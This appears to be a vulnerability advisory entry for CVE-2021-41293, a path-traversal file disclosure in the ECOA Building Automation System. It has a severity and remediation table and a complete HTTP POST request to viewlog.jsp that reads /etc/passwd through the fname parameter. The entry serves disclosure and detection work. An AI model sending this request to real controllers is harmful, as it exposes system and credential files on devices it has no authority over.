| Title | ECOA Building Automation System - Arbitrary File Retrieval |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | Unauthenticated attackers can read arbitrary files from the ECOA BAS controller including /etc/passwd via path traversal in the fname parameter, potentially exposing sensitive system configuration and credentials. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the arbitrary file retrieval vulnerability in the ECOA Building Automation System. |
| CVSS Score | 7.5 |
| EPSS Score | 0.89647 |
| CVE ID | CVE-2021-41293 |
| CWE ID | CWE-22 |
| Tags | cve2021 cve ecoa lfi disclosure vkev vuln |
The ECOA BAS controller suffers from an arbitrary file disclosure vulnerability. Using the ‘fname’ POST parameter in viewlog.jsp, attackers can disclose arbitrary files on the affected device and disclose sensitive and system information.
POST /viewlog.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Content-Length: 53
Accept-Encoding: gzip
yr=2021&mh=6&fname=../../../../../../../../etc/passwd
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41293.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-41293.pcap
N/AN/A